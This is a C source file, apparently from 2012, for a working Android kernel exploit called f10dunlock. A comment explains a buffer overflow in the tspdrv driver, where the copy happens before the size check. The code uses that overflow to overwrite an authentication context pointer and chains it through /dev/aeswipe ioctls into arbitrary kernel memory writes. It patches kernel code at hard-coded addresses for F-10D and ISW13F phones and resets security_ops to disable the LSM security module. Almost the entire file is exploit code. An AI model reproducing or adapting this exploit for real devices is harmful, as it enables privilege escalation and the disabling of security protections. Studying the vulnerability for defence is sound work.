f10dunlock.c

/*
 *  Copyright (c) 2012 goroh_kun
 *
 *  2012/08/31
 *  [email protected]
 */

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

void memdump(char* addr, int num)
{
    int i, j;
    int n = (num + 15) / 16;
    for (j=0; j<n; j++){
        printf("%08x : ", addr);
        for(i=0; i<16; i++){
            printf("%02x ", *addr++);
        }
        addr -= 16;
        for(i=0; i<16; i++){
            if (*addr>=0x20 && *addr<0x80) {
                 printf("%c", *addr);
            } else {
                printf(".");
            }
            addr++;
        }
        printf("\n");
    }
}

#if 0
########################################################################################
There is vulnerability in function "write" in kernel/drivers/tspdrv/tspdrv.c.

static ssize_t write(struct file *file, const char *buf, size_t count, loff_t *ppos)
{
....
    /* Copy immediately the input buffer */
    if (0 != copy_from_user(g_cWriteBuffer, buf, count))
    {
        /* Failed to copy all the data, exit */
        DbgOut((KERN_ERR "tspdrv: copy_from_user failed.\n"));
        return 0;
    }

    /* Check buffer size */
    if ((count <= SPI_HEADER_SIZE) || (count > SPI_BUFFER_SIZE))
    {
        DbgOut((KERN_ERR "tspdrv: invalid write buffer size.\n"));
        return 0;
    }
....
}


  We have to check the parameter "count" *before* using copy_from_user.
  Or if we set the parameter larger than g_cWriteBuffer size, it occurs memory overflow.
  In this case, I override a variable named g_lptsAuthContext by using this vulnerability.
  The variable is located like bellow.

g_cWriteBuffer    : 0xc09ae698
g_CalibrateBuffer : 0xc09ae6d0
g_lptsAuthContext : 0xc09ae6ec

########################################################################################
#endif

#define BUF_SIZE  (0xc09ae6f0 - 0xc09ae698)
#define TSPDRV_MAGIC_NUMBER                 0x494D4D52
void set_lptsAuthContext(unsigned int addr)
{
  char buf[BUF_SIZE] = {0};
  buf[BUF_SIZE - 4] = addr & 0xff;
  buf[BUF_SIZE - 3] = (addr >> 8) & 0xff;
  buf[BUF_SIZE - 2] = (addr >> 16) & 0xff;
  buf[BUF_SIZE - 1] = (addr >> 24) & 0xff;
  int fdtsp = open("/dev/tspdrv", O_RDWR);
  int ret = ioctl(fdtsp, TSPDRV_MAGIC_NUMBER, 0);
  ret = write(fdtsp, buf, BUF_SIZE);
  close(fdtsp);
}

/*
...
100001a0 : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ................
100001b0 : -- -- -- -- -- -- -- -- 00 00 00 00 aa aa aa aa ................
100001c0 : -- -- -- -- -- -- -- -- -- -- -- -- 01 00 00 00 ................
...
10000250 :*xx xx xx xx -- -- -- -- -- -- -- -- -- -- -- -- ................
...
* pid is stored on xx xx xx xx, when /dev/aeswipe is opened.
* an ioctl AUTH_IOCTL_SET_TIMEOUT value is stored on aa aa aa aa.
*/

typedef unsigned int uint32;
typedef int int32;
typedef struct _tag_TrIoctlHeader
{
    uint32 uiSize;          /* INOUT: Total size of the structure including header.         */
                            /*        On input it contains the size of the input buffer.    */
                            /*        On output it contains the size of the output buffer.  */

    uint32 uiOperationId;   /*    IN: ID of the desired operation. Needed for TransportIOCL */
                            /*        or on systems where everything is tunneled through a  */
                            /*        single IOCTL. See TrOperationId.                      */

    int32  retCode;         /*   OUT: Return code of the IOCTL.                             */
} tsTrIoctlHeader;

typedef struct _tag_TrTimeoutIoctlBuffer
{
    tsTrIoctlHeader sHeader;   /* INOUT: Header.         */
    uint32          uiTimeout; /*    IN: Timeout value.  */
} tsTrTimeoutIoctlBuffer;
#define AUTH_IOCTL_BASE ('x')
#define AUTH_IOCTL_SET_TIMEOUT          _IOWR( AUTH_IOCTL_BASE, 10, tsTrTimeoutIoctlBuffer )

void mempatch0(unsigned addr)
{
  char buf[0x300] = {0};
  set_lptsAuthContext((unsigned)buf);
  int fdaes = open("/dev/aeswipe", O_RDWR);
  set_lptsAuthContext(addr - 0x1b8);
  close(fdaes);
  set_lptsAuthContext(0);
}

void mempatch(int fd, unsigned addr, unsigned value)
{
  tsTrTimeoutIoctlBuffer param = {0};
  param.sHeader.uiSize = sizeof(param);
  param.uiTimeout = value;

  set_lptsAuthContext(addr - 0x1bc);
  ioctl(fd, AUTH_IOCTL_SET_TIMEOUT, &param);
  usleep(10000);
  set_lptsAuthContext(0);
}

static const unsigned original_code[] = {
  0xe24cb004, // SUB             R11, R12, #4
  0xe1a06001, // MOV             R6, R1
};

static const unsigned patched_code[] = {
  0xe5900084, // LDR             R0, [R0,#private] ; file->private
  0xe89da8f0, // LDMFD           SP, {R4-R7,R11,SP,PC}
};

static int is_isw13f = 0;
static int is_newf10d = 0;
unsigned int get_private(int fd, int fd2, unsigned aesbuf)
{
  char buf[0x10] = {0};
  unsigned int ret = 0;

  if(is_isw13f){
    mempatch(fd2, 0xc043f9e8, patched_code[0]); // module_entry_write+0x8
    mempatch(fd2, 0xc043f9ec, patched_code[1]); // module_entry_write+0xc
  }else{
    if(is_newf10d){
      mempatch(fd2, 0xc044d238, patched_code[0]); // module_entry_write+0x8
      mempatch(fd2, 0xc044d23c, patched_code[1]); // module_entry_write+0xc
    }else{
      mempatch(fd2, 0xc044d20c, patched_code[0]); // module_entry_write+0x8
      mempatch(fd2, 0xc044d210, patched_code[1]); // module_entry_write+0xc
    }
  }

  set_lptsAuthContext((unsigned)aesbuf);
  ret = write(fd, buf, 1);
  usleep(10000);

  if(is_isw13f){
    mempatch(fd2, 0xc043f9e8, original_code[0]); // module_entry_write+0x8
    mempatch(fd2, 0xc043f9ec, original_code[1]); // module_entry_write+0xc
  }else{
    if(is_newf10d){
      mempatch(fd2, 0xc044d238, original_code[0]); // module_entry_write+0x8
      mempatch(fd2, 0xc044d23c, original_code[1]); // module_entry_write+0xc
    }else{
      mempatch(fd2, 0xc044d20c, original_code[0]); // module_entry_write+0x8
      mempatch(fd2, 0xc044d210, original_code[1]); // module_entry_write+0xc
    }
  }
  return ret;
}

int main(int argc, char** argv)
{
  char buf[0x300] = {0};
  int recovery_context = 1;
  unsigned int context_addr = 0;
  if(argc >= 2 && atoi(argv[1])==1){
    printf("use ISW13F address\n");
    is_isw13f = 1;
  }
  if(argc >= 2 && atoi(argv[1])==2){
    printf("use new F-10D address\n");
    is_newf10d = 1;
  }

  int fdaes = open("/dev/aeswipe", O_RDWR);
  printf("fdaes = %d\n", fdaes);
  if(fdaes < 0){
    printf("open aeswipe error, so try to disable LSM without recovery g_lptsAuthContext\n");
    recovery_context = 0;
  }

  set_lptsAuthContext((unsigned)buf);
  int fdaes2 = open("/dev/aeswipe", O_RDWR);
  set_lptsAuthContext(0);
  printf("fdaes2 = %d\n", fdaes2);

  //AuthTransportIOControl disable AbortCheck
  if(is_isw13f){
    mempatch0(0xc043e2fc); // 0xc043e2fc, 0xc043e310 = 0
    mempatch0(0xc043e300); // 0xc043e300, 0xc043e314 = 0
    mempatch0(0xc043e304); // 0xc043e304, 0xc043e318 = 0
    mempatch0(0xc043e308); // 0xc043e308, 0xc043e31c = 0
    mempatch0(0xc043e30c); // 0xc043e30c, 0xc043e320 = 0
  }else{
    if(is_newf10d){
      mempatch0(0xc044bb4c); // 0xc044bb4c, 0xc044bb60 = 0
      mempatch0(0xc044bb50); // 0xc044bb50, 0xc044bb64 = 0
      mempatch0(0xc044bb54); // 0xc044bb54, 0xc044bb68 = 0
      mempatch0(0xc044bb58); // 0xc044bb58, 0xc044bb6c = 0
      mempatch0(0xc044bb5c); // 0xc044bb5c, 0xc044bb70 = 0
    }else{
      mempatch0(0xc044bb14); // 0xc044bb14, 0xc044bb28 = 0
      mempatch0(0xc044bb18); // 0xc044bb18, 0xc044bb2c = 0
      mempatch0(0xc044bb1c); // 0xc044bb1c, 0xc044bb30 = 0
      mempatch0(0xc044bb20); // 0xc044bb20, 0xc044bb34 = 0
      mempatch0(0xc044bb24); // 0xc044bb24, 0xc044bb38 = 0
    }
  }

  if(recovery_context){
    context_addr = get_private(fdaes, fdaes2, (unsigned)buf);
    printf("file->private = %08x\n", context_addr);
    if(context_addr >= 0xffff0000) context_addr = 0;
    if(context_addr <= 0xc0000000) context_addr = 0;
  }

  if(is_isw13f){
    mempatch(fdaes2, 0xc09e5290, 0xc09308ec); // security_ops = default_security_ops
  }else{
    mempatch(fdaes2, 0xc098ed48, 0xc08da184); // security_ops = default_security_ops
  }

  set_lptsAuthContext((unsigned)buf);
  close(fdaes2);

  set_lptsAuthContext(context_addr);
  close(fdaes);
  return 0;
}